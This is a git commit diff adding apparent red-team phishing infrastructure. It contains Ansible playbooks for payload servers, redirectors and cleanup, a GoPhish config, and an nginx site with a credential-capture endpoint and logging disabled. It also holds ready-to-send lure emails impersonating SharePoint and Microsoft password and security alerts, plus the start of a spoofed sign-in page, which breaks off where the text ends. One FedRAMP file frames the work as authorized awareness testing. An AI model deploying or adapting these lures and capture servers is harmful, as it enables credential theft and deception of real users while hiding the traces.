restructuring for easier navigation and modularity
This commit is contained in:
+1
-1
@@ -24,7 +24,7 @@
|
|||||||
---
|
---
|
||||||
|
|
||||||
### 📍 Where I Left Off
|
### 📍 Where I Left Off
|
||||||
- Working on: Need to fix issue with AWS deployment security hardening playbook
|
- Working on: Need to fix issue with AWS deployment security hardening playbook | Need to restructure I want each module in its own dir with its own tasks, templates, files and I want to move Provider playbooks into a Provider dir. I also want to break apart deploy.py and take each part for a module and make its own script that can be ran independently of the deploy script to just deploy the that module if need be
|
||||||
- Next Priority: Test core deployment
|
- Next Priority: Test core deployment
|
||||||
- Blockers: Sleep
|
- Blockers: Sleep
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
# Payload Redirector Deployment Playbook
|
||||||
|
- name: Deploy payload redirector
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
|
||||||
|
provider: "{{ provider | default('aws') }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Deploy payload redirector based on provider
|
||||||
|
include_tasks: "../{{ provider | upper }}/redirector.yml"
|
||||||
|
vars:
|
||||||
|
redirector_name: "{{ payload_redirector_name }}"
|
||||||
|
redirector_type: "payload"
|
||||||
|
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
|
||||||
|
|
||||||
|
- name: Configure payload redirector
|
||||||
|
include_tasks: "../tasks/configure_payload_redirector.yml"
|
||||||
|
when: not skip_configuration | default(false)
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
---
|
||||||
|
# Payload Server Deployment Playbook
|
||||||
|
- name: Deploy payload server
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
|
||||||
|
provider: "{{ provider | default('aws') }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Deploy payload server based on provider
|
||||||
|
include_tasks: "../{{ provider | upper }}/c2.yml"
|
||||||
|
vars:
|
||||||
|
c2_name: "{{ payload_server_name }}"
|
||||||
|
server_type: "payload"
|
||||||
|
|
||||||
|
- name: Configure payload server
|
||||||
|
include_tasks: "../tasks/configure_payload_server.yml"
|
||||||
|
when: not skip_configuration | default(false)
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
---
|
||||||
|
# Phishing Infrastructure Cleanup Playbook
|
||||||
|
- name: Clean up phishing infrastructure
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Load deployment state
|
||||||
|
include_vars:
|
||||||
|
file: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||||
|
register: deployment_state
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Show cleanup information
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
************************************************
|
||||||
|
* PHISHING CLEANUP OPERATION *
|
||||||
|
************************************************
|
||||||
|
The following resources will be DELETED PERMANENTLY:
|
||||||
|
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
|
||||||
|
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
|
||||||
|
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
|
||||||
|
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
|
||||||
|
{% if cleanup_payload_infra | default(false) %}
|
||||||
|
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
|
||||||
|
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
|
||||||
|
{% endif %}
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Confirm cleanup operation
|
||||||
|
pause:
|
||||||
|
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
|
||||||
|
register: confirmation
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Skip cleanup if not confirmed
|
||||||
|
meta: end_play
|
||||||
|
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
|
||||||
|
|
||||||
|
- name: Run provider-specific cleanup
|
||||||
|
include_tasks: "../{{ provider | upper }}/cleanup.yml"
|
||||||
|
vars:
|
||||||
|
cleanup_redirector: true
|
||||||
|
cleanup_c2: true
|
||||||
|
cleanup_tracker: false
|
||||||
|
redirector_name: "{{ phishing_redirector_name }}"
|
||||||
|
c2_name: "{{ gophish_server_name }}"
|
||||||
|
|
||||||
|
- name: Remove deployment state file
|
||||||
|
file:
|
||||||
|
path: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||||
|
state: absent
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Document Shared</title>
|
||||||
|
</head>
|
||||||
|
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||||
|
<tr>
|
||||||
|
<td align="center">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||||
|
<!-- Header -->
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
|
||||||
|
</td>
|
||||||
|
<td align="right">
|
||||||
|
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Content -->
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 30px;">
|
||||||
|
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
|
||||||
|
|
||||||
|
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||||
|
Hi {{ "{{.FirstName}}" }},
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||||
|
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<!-- File Preview -->
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 20px;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||||
|
<tr>
|
||||||
|
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
|
||||||
|
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
|
||||||
|
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||||
|
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
|
||||||
|
</p>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<!-- Sender Message -->
|
||||||
|
{% if include_message | default(true) %}
|
||||||
|
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
|
||||||
|
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
|
||||||
|
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||||
|
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||||
|
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||||
|
Open in SharePoint
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
|
||||||
|
This link will expire in {{ expiry_days | default('7') }} days.<br>
|
||||||
|
Only people with the link can access this file.
|
||||||
|
</p>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Footer -->
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||||
|
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
|
||||||
|
Get the SharePoint mobile app
|
||||||
|
</p>
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 0 5px;">
|
||||||
|
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
|
||||||
|
</td>
|
||||||
|
<td style="padding: 0 5px;">
|
||||||
|
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
|
||||||
|
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
|
||||||
|
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
|
||||||
|
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
|
||||||
|
</p>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Password Expiration Notice</title>
|
||||||
|
</head>
|
||||||
|
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||||
|
<tr>
|
||||||
|
<td align="center">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||||
|
<!-- Header -->
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||||
|
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Warning Banner -->
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0">
|
||||||
|
<tr>
|
||||||
|
<td style="padding-right: 10px;">
|
||||||
|
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Content -->
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 30px;">
|
||||||
|
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
|
||||||
|
|
||||||
|
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||||
|
Hello {{ "{{.FirstName}}" }},
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||||
|
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
|
||||||
|
To prevent any interruption to your access, please update your password before it expires.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||||
|
Password requirements:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
|
||||||
|
<li>Minimum 12 characters</li>
|
||||||
|
<li>At least one uppercase letter</li>
|
||||||
|
<li>At least one lowercase letter</li>
|
||||||
|
<li>At least one number</li>
|
||||||
|
<li>At least one special character</li>
|
||||||
|
<li>Cannot be the same as your last 5 passwords</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||||
|
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||||
|
Update Password Now
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
|
||||||
|
If you're unable to click the button above, copy and paste this link into your browser:<br>
|
||||||
|
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
|
||||||
|
</p>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Footer -->
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||||
|
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||||
|
This is an automated message from {{ organization | default('IT Department') }}.<br>
|
||||||
|
Please do not reply to this email.<br>
|
||||||
|
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
|
||||||
|
</p>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Security Alert</title>
|
||||||
|
</head>
|
||||||
|
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||||
|
<tr>
|
||||||
|
<td align="center">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||||
|
<!-- Header -->
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||||
|
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Content -->
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 30px;">
|
||||||
|
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
|
||||||
|
|
||||||
|
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||||
|
Dear {{ "{{.FirstName}}" }},
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||||
|
We detected unusual sign-in activity on your account:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
|
||||||
|
<tr>
|
||||||
|
<td style="padding: 20px;">
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||||
|
<tr>
|
||||||
|
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
|
||||||
|
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
|
||||||
|
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
|
||||||
|
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
|
||||||
|
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||||
|
<strong>If this was you:</strong> You can safely ignore this email.<br>
|
||||||
|
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
|
||||||
|
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||||
|
Secure My Account
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
|
||||||
|
<strong>What happens next?</strong><br>
|
||||||
|
We'll guide you through securing your account, including:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
|
||||||
|
<li>Verifying your identity</li>
|
||||||
|
<li>Reviewing recent account activity</li>
|
||||||
|
<li>Updating your password</li>
|
||||||
|
<li>Enabling additional security measures</li>
|
||||||
|
</ul>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<!-- Footer -->
|
||||||
|
<tr>
|
||||||
|
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||||
|
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||||
|
This security alert was sent to {{ "{{.Email}}" }}<br>
|
||||||
|
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
|
||||||
|
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
|
||||||
|
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
|
||||||
|
</p>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
# FedRAMP Phishing Test Compliance Configuration
|
||||||
|
# This configuration ensures compliance with FedRAMP requirements
|
||||||
|
|
||||||
|
compliance_mode: fedramp
|
||||||
|
test_type: user_awareness_only
|
||||||
|
|
||||||
|
# Email Configuration
|
||||||
|
email_settings:
|
||||||
|
# Emails must be whitelisted on all security systems
|
||||||
|
require_whitelist: true
|
||||||
|
bypass_security_controls: true
|
||||||
|
|
||||||
|
# No modification of emails allowed
|
||||||
|
allow_header_modification: false
|
||||||
|
allow_content_filtering: false
|
||||||
|
|
||||||
|
# Tracking requirements
|
||||||
|
tracking:
|
||||||
|
- email_opened (via pixel)
|
||||||
|
- link_clicked
|
||||||
|
- credentials_submitted
|
||||||
|
- user_identity (tied to actions)
|
||||||
|
|
||||||
|
# Landing Page Requirements
|
||||||
|
landing_page:
|
||||||
|
# Must immediately identify as phishing test
|
||||||
|
show_phishing_notice: true
|
||||||
|
phishing_notice_text: |
|
||||||
|
This was a phishing simulation!
|
||||||
|
You should never enter your credentials on suspicious websites.
|
||||||
|
|
||||||
|
# Educational content required
|
||||||
|
include_education: true
|
||||||
|
education_content:
|
||||||
|
- How to identify phishing emails
|
||||||
|
- Red flags to watch for
|
||||||
|
- Reporting procedures
|
||||||
|
- Best practices for email security
|
||||||
|
|
||||||
|
# Reporting Requirements
|
||||||
|
reporting:
|
||||||
|
# No PII in reports
|
||||||
|
anonymize_data: true
|
||||||
|
report_format: aggregate_only
|
||||||
|
|
||||||
|
# Required metrics
|
||||||
|
metrics:
|
||||||
|
- total_emails_sent
|
||||||
|
- emails_opened_percentage
|
||||||
|
- links_clicked_percentage
|
||||||
|
- credentials_submitted_percentage
|
||||||
|
- department_breakdown
|
||||||
|
- role_based_statistics
|
||||||
|
|
||||||
|
# Prohibited data
|
||||||
|
exclude:
|
||||||
|
- individual_names
|
||||||
|
- specific_email_addresses
|
||||||
|
- personal_identifiers
|
||||||
|
|
||||||
|
# Technical Configuration
|
||||||
|
technical:
|
||||||
|
# Simple campaign only
|
||||||
|
campaign_type: basic_phishing_test
|
||||||
|
|
||||||
|
# No exploitation
|
||||||
|
allow_malware: false
|
||||||
|
allow_exploitation: false
|
||||||
|
allow_persistence: false
|
||||||
|
|
||||||
|
# Clean tracking only
|
||||||
|
tracking_methods:
|
||||||
|
- pixel_tracking
|
||||||
|
- unique_urls
|
||||||
|
- form_submission
|
||||||
|
|
||||||
|
# Approval Process
|
||||||
|
approval:
|
||||||
|
requires_3pao_approval: true
|
||||||
|
requires_template_review: true
|
||||||
|
approval_documentation: required
|
||||||
|
|
||||||
|
# Post-Test Requirements
|
||||||
|
post_test:
|
||||||
|
notify_failures: true
|
||||||
|
provide_training: true
|
||||||
|
remediation_timeline: 30_days
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
{
|
||||||
|
"admin_server": {
|
||||||
|
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
|
||||||
|
"use_tls": true,
|
||||||
|
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
|
||||||
|
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
|
||||||
|
"trusted_origins": []
|
||||||
|
},
|
||||||
|
"phish_server": {
|
||||||
|
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
|
||||||
|
"use_tls": false,
|
||||||
|
"cert_path": "",
|
||||||
|
"key_path": ""
|
||||||
|
},
|
||||||
|
"db_name": "sqlite3",
|
||||||
|
"db_path": "gophish.db",
|
||||||
|
"migrations_prefix": "db/db_",
|
||||||
|
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||||
|
"logging": {
|
||||||
|
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
|
||||||
|
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
|
||||||
|
},
|
||||||
|
"webhook": {
|
||||||
|
"enabled": {{ enable_webhooks | default(false) | lower }},
|
||||||
|
"url": "{{ webhook_url | default('') }}",
|
||||||
|
"secret": "{{ webhook_secret | default('') }}"
|
||||||
|
},
|
||||||
|
"email": {
|
||||||
|
"smtp": {
|
||||||
|
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
|
||||||
|
"port": 25,
|
||||||
|
"use_auth": true,
|
||||||
|
"username": "{{ smtp_auth_user }}",
|
||||||
|
"password": "{{ smtp_auth_pass }}",
|
||||||
|
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||||
|
"ignore_cert_errors": true
|
||||||
|
},
|
||||||
|
"imap": {
|
||||||
|
"enabled": false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
server_name _;
|
||||||
|
|
||||||
|
root /var/www/phishing;
|
||||||
|
index index.html index.php;
|
||||||
|
|
||||||
|
# Disable all logging
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
|
||||||
|
# PHP processing
|
||||||
|
location ~ \.php$ {
|
||||||
|
include snippets/fastcgi-php.conf;
|
||||||
|
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||||
|
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Credential capture endpoint
|
||||||
|
location = /capture.php {
|
||||||
|
limit_except POST { deny all; }
|
||||||
|
include snippets/fastcgi-php.conf;
|
||||||
|
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Template routing
|
||||||
|
location /templates/ {
|
||||||
|
try_files $uri $uri/ =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Static resources
|
||||||
|
location /static/ {
|
||||||
|
try_files $uri $uri/ =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Default
|
||||||
|
location / {
|
||||||
|
try_files $uri $uri/ /index.html;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,220 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>{{ page_title | default('Sign in to your account') }}</title>
|
||||||
|
<style>
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||||
|
background: #f2f2f2;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
background: white;
|
||||||
|
padding: 40px;
|
||||||
|
border-radius: 2px;
|
||||||
|
